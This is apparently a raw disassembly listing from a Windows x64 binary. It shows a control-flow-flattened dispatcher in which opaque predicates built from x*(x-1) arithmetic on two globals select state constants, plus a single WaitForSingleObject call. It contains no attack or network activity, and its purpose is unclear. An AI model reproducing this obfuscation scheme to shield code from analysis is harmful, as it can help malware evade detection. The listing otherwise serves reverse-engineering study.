cmp eax, 0x8aebb9c4
je 0x14019e775
cmp eax, 0x8af6ab23
jne 0x14016c950
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, dword [0x1402656c8]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x1b86a104
mov ecx, edi
and ecx, 0xe4795efa
or ecx, edx
mov edx, ecx
xor edx, 0x80600c70
xor ecx, 0x3000000
mov ebx, edi
or ebx, 0x6719528a
and ecx, 0x6719528a
and edx, 0x98e6ad74
or edx, ecx
and ebx, 0x6719528b
xor ebx, edx
mov ecx, ebx
not ecx
and eax, ecx
and ebx, edi
or ebx, eax
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
cmp dword [0x1402656c4], 9
setg al
xor r8b, al
mov r9d, r8d
xor r9b, 1
or al, r9b
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r8b
or cl, dl
xor al, r8b
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0xce2d8c8c
mov ebx, 0x861f028f
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, 1
mov eax, 0xce2d8c8c
jmp 0x1401a0e8b
cmp eax, 0xc5118964
je 0x14019e8a5
cmp eax, 0xc512dd82
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, eax
or ebx, 0x62c20601
mov edx, ebx
not edx
mov esi, ecx
or esi, 0x8405b862
and esi, 0xc447b862
mov edi, eax
and edi, 0x22800601
or edi, esi
and ebx, 0xc447b862
and edx, 0x1938419c
or edx, ebx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0x9d3df9ff
and edx, 0x62c20600
or edx, ebx
and eax, 0xdebc1684
and ecx, 0x2143e97b
or ecx, eax
mov eax, ecx
xor eax, 0x2143e97b
xor ecx, 0xdebc1684
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov edx, r11d
xor dl, r9b
and dl, r11b
xor dl, al
mov ebx, edx
not bl
mov ecx, eax
xor cl, r11b
and cl, al
and r10b, r9b
and al, r11b
or al, r10b
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, eax
not cl
and cl, dl
and bl, al
or bl, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xd25e6527
mov edx, 0x662c42
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0xd25e6527
jmp 0x1401a14db
cmp eax, 0xa5b51727
je 0x14019e8ba
cmp eax, 0xa5b8453b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0x1838c8ea
mov ecx, ebx
xor ecx, 0x1838c8ea
and ecx, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0xe7c73714
and ecx, 0x1838c8eb
or ecx, edi
mov edi, ecx
not edi
mov esi, ecx
and esi, 0x9acfb5f7
and edi, 0x65304a08
or edi, esi
or ecx, ebx
and ebx, 0x9acfb5f7
and edx, 0x65304a08
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x96a5d216
and ecx, 0x695a2de9
or ecx, edx
xor ecx, 0x695a2de9
sete r9b
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor r9b, bl
and r9b, bl
xor bl, r8b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
not al
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
mov r8d, ebx
and r8b, dl
xor bl, cl
and cl, al
or cl, r8b
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xd12f45d6
mov ebx, 0x6a1fb8e9
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0xd12f45d6
jmp 0x1401a14db
cmp eax, 0xe5edd25e
je 0x14019e8cf
cmp eax, 0xe63c86e7
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xe9634f22
and ecx, 0x169cb0dd
or ecx, ebx
xor ecx, 0x169cb0dc
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x81025044
mov ebx, ecx
and ebx, 0x10e18a8a
or ebx, edx
xor ebx, 0x10e18a8a
and ecx, 0x6e1c2531
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4da8e5ee
and ecx, 0xb2571a11
or ecx, edx
xor ecx, 0x23b4c0df
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, al
mov edx, ecx
and dl, r10b
and cl, al
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
and dl, al
and r9b, r10b
and al, r8b
or al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor dl, cl
or bl, cl
xor cl, al
xor cl, 1
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xb080fd37
mov ebx, 0x9a5f5e84
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xb080fd37
jmp 0x1401a26bd
cmp eax, 0x98b28d0b
je 0x14019e9ad
cmp eax, 0x99087811
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xdf0050b6
mov edx, esi
and edx, 0x20ffaf48
or edx, ebx
xor edx, 0x20ffaf48
mov edi, esi
xor edi, 0xfffffffe
and edi, esi
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0xaa949d4c
and edi, 0x556b62b3
or edi, ebx
and esi, 0xaa949d4c
and ecx, 0x556b62b3
or ecx, esi
xor ecx, edi
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
mov ebx, ecx
and bl, r8b
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0xcfe11bd5
mov ebx, 0xe1ceaf0c
cmovne edx, ebx
test cl, cl
mov ecx, edx
mov ebx, 0xcfe11bd5
jmp 0x1401a0cb4
cmp eax, 0xd5a5ec4a
je 0x14019e9c2
cmp eax, 0xd5f24fb9
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, r9d
or edx, 0x708a0196
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0x708a0196
and ecx, r9d
mov eax, ecx
not eax
mov esi, edx
and esi, 0xb92f937b
and edi, 0x6506c00
or edi, esi
or edx, eax
and eax, 0xb92f937b
and ecx, 0x46d06c84
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x708a0197
and edx, 0x8f75fe68
or edx, eax
and r9d, 0x3e7adcde
mov eax, ebx
and eax, 0xc1852321
or eax, r9d
xor eax, 0x3e7adcdf
and ebx, 1
or ebx, eax
not ebx
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
or ebx, 0xa0992769
mov ecx, ebx
not ecx
or eax, 0x5f66d896
mov edx, eax
not edx
and ebx, 0xe29e5c83
and ecx, 0x1d608014
or ecx, ebx
and eax, 0xe29e5c83
and edx, 0x12368
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0xabd67b21
and edx, 0x542984de
or edx, eax
xor edx, 0xb4f5c48
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ebx
xor dl, al
xor dl, 1
or dl, bl
xor dl, 1
xor cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
xor bl, dl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0x21f6cf33
mov ecx, 0xc1890fe7
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
not dl
test dl, 1
mov ecx, 0x21f6cf33
jmp 0x1401a14db
cmp eax, 0xb3d884fd
je 0x14019ea59
cmp eax, 0xb401a24c
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x71f5ca06
and eax, ecx
not ecx
and ecx, 0x30218004
and edx, 0x41d44a02
or edx, ecx
xor edx, 0x41d44a02
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8e0a35f9
and eax, 0x71f5ca06
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xcdd145fb
and eax, 0x322eba04
or eax, ecx
xor eax, 0x322eba05
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xa61a81cf
and eax, 0x59e57e30
or eax, ecx
mov ebx, eax
xor ebx, 0x210800
xor eax, 0x402004f
or edx, 0x6a3285f
mov ecx, edx
not ecx
or eax, 0x4908c020
and eax, 0x4d8ae07f
and ebx, 0x2210800
or ebx, eax
and edx, 0x4d8ae07f
and ecx, 0xb0541780
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xf95cd7a0
and ecx, 0x6a3285f
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2f89989e
and eax, 0xd0766761
or eax, ecx
xor eax, 0x2f89989e
cmp eax, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
and al, r8b
mov r9d, ecx
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x18a241a
mov ebx, 0x6612bccd
cmovne edx, ebx
test cl, 1
mov ecx, 0x18a241a
jmp 0x140195e0e
cmp eax, 0xf93cb3ab
je 0x14019ec41
cmp eax, 0xf9554aec
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ecx, edi
or ecx, 1
mov edx, ecx
not edx
mov ebx, edi
or ebx, 0x72e20ff2
and ecx, 0x72e20ff2
and edx, 0x8d1df00c
or edx, ecx
and ebx, 0x72e20ff3
xor ebx, edx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x3013214e
and ebx, 0xcfecdeb1
or ebx, edx
and edi, 0x3013214e
and eax, 0xcfecdeb1
or eax, edi
xor eax, ebx
xor ecx, eax
test ecx, eax
setne dl
sete cl
cmp dword [0x1402656c4], 0xa
setl bl
mov eax, ebx
or al, cl
xor al, 1
xor cl, bl
or al, cl
mov r8d, eax
xor r8b, 1
or dl, bl
xor dl, 1
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, r8d
and bl, al
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xe0863829
mov ebx, 0x3532e355
cmovne eax, ebx
test cl, 1
mov ecx, 0xe0863829
jmp 0x1401a26b7
cmp eax, 0x86bb6486
je 0x14019ee9b
cmp eax, 0x86bbc111
jne 0x14016c950
mov eax, 0x7d2355f5
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xc0b92ade
je 0x14019eeb0
cmp eax, 0xc0ee7762
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xc00a6b2e
and ecx, 0x3ff594d1
or ecx, edx
mov ebx, ecx
xor ebx, 0x23701090
xor ecx, 0xc00a6b2e
mov edx, ecx
and edx, 0x1c87cf4b
and ebx, 0xe37830b4
or ebx, edx
mov edi, ebx
xor edi, 0x803094a
or edi, 0xb5bcf6a5
mov esi, edi
not esi
or ecx, 0x4a43095a
mov edx, ecx
not edx
and edi, 0xe3eb88ef
and esi, 0x8000110
or esi, edi
and ecx, 0xe3eb88ef
and edx, 0x14147600
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0xb5bcf6a4
and edx, 0x4a43095b
or edx, ecx
mov ecx, ebx
and ecx, 1
xor ebx, 0xe37830b5
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xc1a541ec
and ebx, 0x3e5abe13
or ebx, ecx
mov ecx, ebx
xor ecx, 0x10180a10
xor ebx, 0xc1a541ec
mov edi, edx
not edi
mov esi, edi
and esi, 0x2fe6b527
and edx, 0xd0194ad8
or edx, esi
or edi, ebx
and ebx, 0x2fe6b527
and ecx, 0xd0194ad8
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
mov edx, edi
xor edx, 0x52268614
and edx, edi
not edi
and edi, 0x40260410
and ecx, 0x12008204
or ecx, edi
mov ebx, ecx
xor ebx, 0x2008004
xor ecx, 0xedff7dfb
mov edi, edx
not edi
mov esi, ecx
and esi, 0x54805b19
and ebx, 0x2268404
or ebx, esi
or ecx, edi
and edi, 0x54805b19
and edx, 0xab7fa4e6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xadd979eb
and ecx, 0x52268614
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf83929cf
and ecx, 0x7c6d630
or ecx, ebx
xor ecx, 0xf83929cf
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor dl, al
xor dl, 1
or dl, bl
xor cl, al
mov eax, ecx
xor al, 1
xor cl, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x6ac2add4
mov ebx, 0x4fdb2de5
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
not dl
test dl, 1
mov ecx, 0x6ac2add4
jmp 0x1401a14db
cmp eax, 0xa34ba53f
je 0x14019f013
cmp eax, 0xa36b7657
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xfe6dadc7
and edx, 0x1925238
or edx, ecx
mov ecx, edx
xor ecx, 0x1921030
xor edx, 0x30682dc2
and edx, 0x30686fca
and ecx, 0xcf979035
or ecx, edx
mov edx, ecx
xor edx, 0x30686fca
mov eax, ecx
xor eax, 0x30686fcb
and eax, edx
xor ecx, 0xcf979034
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ebx, eax
not ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0x8a71e954
and eax, 0x758e16ab
or eax, esi
or ebx, edi
and edi, 0x8a71e954
and edx, 0x758e16ab
or edx, edi
xor edx, eax
not ebx
or ebx, edx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x5572e6d5
and ecx, ebx
not ebx
and ebx, 0x1530e691
and edx, 0x40420044
or edx, ebx
xor edx, 0x40420044
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xaa8d192a
and ecx, 0x5572e6d5
or ecx, eax
sete r9b
setne r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg bl
mov ecx, ebx
xor cl, r11b
and cl, bl
mov eax, r10d
xor al, cl
mov edx, eax
and dl, r10b
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
or bl, r10b
and r10b, r11b
and cl, r9b
or cl, r10b
xor r11b, r9b
xor bl, 1
or bl, r11b
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x9d5f122
mov ebx, 0x5309c70c
cmovne eax, ebx
test dl, 1
mov edx, 0x9d5f122
jmp 0x1401a0e85
cmp eax, 0xe0dd034e
je 0x14019f105
cmp eax, 0xe103239c
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edi, ecx
xor edi, 0x25390b55
and edi, ecx
mov edx, ebx
and edx, 0x25390b55
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xedd29bea
and edx, 0x122d6415
or edx, edi
xor edx, 0xc8eb90be
and ebx, 0x5ef095ca
mov edi, ecx
and edi, 0xa10f6a35
or edi, ebx
xor edi, 0x5ef095cb
and ecx, 1
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x82198319
and ecx, 0x7de67ce6
or ecx, ebx
xor ecx, 0x7de67ce6
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x5f32cb1c
and edx, 0xa0cd34e3
or edx, ecx
xor edx, 0xa0cd34e3
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
not cl
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x1b938073
mov ebx, 0x6dc0242f
cmovne eax, ebx
test dl, 1
mov edx, 0x1b938073
jmp 0x14019dc59
cmp eax, 0x94ef71b6
je 0x14019f1ec
cmp eax, 0x950d2907
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xa0a16401
and ebx, 0x10521132
or ebx, edx
mov edi, ebx
xor edi, 0x10500030
xor ebx, 0xa6056ecc
or ecx, 0xb0f37533
mov edx, ecx
not edx
and ebx, 0xa6077fce
and edi, 0x10f00031
or edi, ebx
and ecx, 0xa6077fce
and edx, 0x49088000
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x868c365
and edx, 0xf7973c9a
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xb89bb656
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x8cb77a7b
and edi, 0x73488584
or edi, esi
or ecx, edx
and edx, 0x8cb77a7b
and ebx, 0x73488584
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xd9000241
and ecx, 0x2ca0130
or ecx, edx
mov edi, ecx
xor edi, 0xc80110
xor ecx, 0x8c306844
or ebx, 0xdbca0371
mov edx, ebx
not edx
and ecx, 0x8e326864
and edi, 0x51c80311
or edi, ecx
and ebx, 0x8e326864
and edx, 0x2005948a
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x2435fc8e
and edx, 0xdbca0371
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xf94920d6
and edx, 0x6b6df29
or edx, ebx
xor edx, 0xf94920d6
xor ecx, edx
test ecx, edx
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
and r9b, cl
mov eax, ebx
xor al, r8b
xor cl, r8b
and r8b, bl
or r9b, r8b
and al, bl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
not al
mov edx, r9d
xor dl, 1
and al, dl
or dl, cl
and cl, r9b
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x78607719
mov ebx, 0x1ce70db3
cmovne ecx, ebx
test dl, 1
mov edx, 0x78607719
jmp 0x14019a1db
cmp eax, 0xcfe11bd5
je 0x14019f31f
cmp eax, 0xd079a5ff
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x10488000
and edx, 0x2013d00
or edx, ecx
mov edi, edx
xor edi, 0x3000
xor edx, 0xcd48820f
or ebx, 0x1249bd00
mov ecx, ebx
not ecx
and edx, 0xcf498f0f
and edi, 0x10003000
or edi, edx
and ebx, 0xcf498f0f
and ecx, 0x20b640f0
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x3812cb92
and ecx, 0xc7ed346d
or ecx, edx
mov edx, ecx
xor edx, 0xd5a4896d
mov r8d, ecx
xor r8d, 0x2a5b7692
mov edi, ecx
xor edi, 0x783bb418
mov esi, edi
and esi, r8d
and edi, edx
mov edx, esi
not edx
mov eax, edi
not eax
mov ebx, edx
and ebx, 0xdede387e
and esi, 0x2121c781
or esi, ebx
or edx, eax
and eax, 0xdede387e
and edi, 0x2121c781
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xe1dca409
and edx, 0x1e235bf6
or edx, eax
mov edi, edx
xor edi, 0x3282002
and r8d, 1
xor ecx, 0x2a5b7693
or ecx, r8d
mov eax, ecx
not eax
and eax, 0xcd903076
and ecx, 0x326fcf89
or ecx, eax
mov eax, ecx
xor eax, 0x2288001
xor ecx, 0xcd903076
xor edx, 0x4c43997d
mov ebx, edx
and ebx, 0xb8d75fb8
and edi, 0x4728a047
or edi, ebx
or edx, ecx
and ecx, 0xb8d75fb8
and eax, 0x4728a047
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x8efea04e
and eax, edx
and edx, 0x71015fb1
or edx, ecx
xor edx, 0x71015fb1
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
setne r10b
sete r8b
cmp r9d, 0xa
setl cl
cmp r9d, 9
setg r9b
mov eax, r9d
xor al, cl
mov r11d, ecx
and r11b, r8b
xor cl, r8b
xor r8b, r9b
and al, r9b
mov edx, eax
xor dl, 1
or al, dl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, r10d
xor dl, al
and r10b, dl
and dl, al
xor r10b, 1
xor dl, 1
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
xor r8b, 1
or cl, r11b
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4d15cd9a
mov ebx, 0xcc1017cb
cmovne eax, ebx
test dl, 1
mov edx, 0x4d15cd9a
cmovne eax, edx
test cl, 1
jmp 0x1401a008b
cmp eax, 0xb097174a
je 0x14019f4e1
cmp eax, 0xb0cafbe9
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xb3fbebe5
and edx, ebx
not ebx
and ebx, 0xf19232e2
and ecx, 0xe6dcd1d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2688105
xor ecx, 0xb19222e0
or ecx, 0x4c04141a
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf8975c60
and ebx, 0x368a385
or ebx, esi
or ecx, edi
and edi, 0xf8975c60
and edx, 0x768a39f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4b5cdbb5
and ecx, 0xb4a3244a
or ecx, edx
mov edx, ecx
xor edx, 0x758cfaf
mov ebx, ecx
xor ebx, 0x1dc51697
and ebx, edx
or edx, 0xe56226c7
mov edi, edx
not edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x94c616ed
and edi, 0xa19c910
or edi, eax
or edx, esi
and esi, 0x94c616ed
and ebx, 0x6b39e912
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xe56226c6
and edx, 0x1a9dd939
or edx, eax
mov eax, ecx
and eax, 1
xor ecx, 0xf8a73051
or ecx, eax
mov eax, ecx
not eax
and eax, 0x15c57fc1
and ecx, 0xea3a803e
or ecx, eax
xor ecx, 0xea3a803e
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1227b830
and eax, 0xedd847cf
or eax, ecx
xor eax, 0x1227b830
setne r9b
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
or bl, r9b
or al, dl
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x4ce30995
mov ebx, 0x5c02e772
cmovne ecx, ebx
test dl, 1
mov edx, 0x4ce30995
cmovne edx, ecx
test al, 1
jmp 0x14019d269
cmp eax, 0xf466911f
je 0x14019f4f6
cmp eax, 0xf4a4cc71
jne 0x14016c950
mov eax, 0xae2885b4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8ec8d83b
je 0x14019f50b
cmp eax, 0x8f0031c6
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5e0f75e6
and ebx, 0xa1f08a19
or ebx, esi
or ecx, edi
and edi, 0x5e0f75e6
and edx, 0xa1f08a19
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x584c14dd
and ecx, 0xa7b3eb22
or ecx, edx
mov edx, ecx
xor edx, 0xa622ea00
xor ecx, 0x1401
and ecx, 0x1911523
and edx, 0xfe6eeadc
or edx, ecx
xor edx, 0xfe6eeadc
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
xor al, 1
mov eax, 0x4bcdc95
mov edx, 0xdfa38630
cmovne eax, edx
test cl, cl
mov ecx, 0x4bcdc95
cmovne ecx, eax
test bl, bl
jmp 0x14019f4d9
cmp eax, 0xc91f081f
je 0x14019f520
cmp eax, 0xc93bd6be
jne 0x14016c950
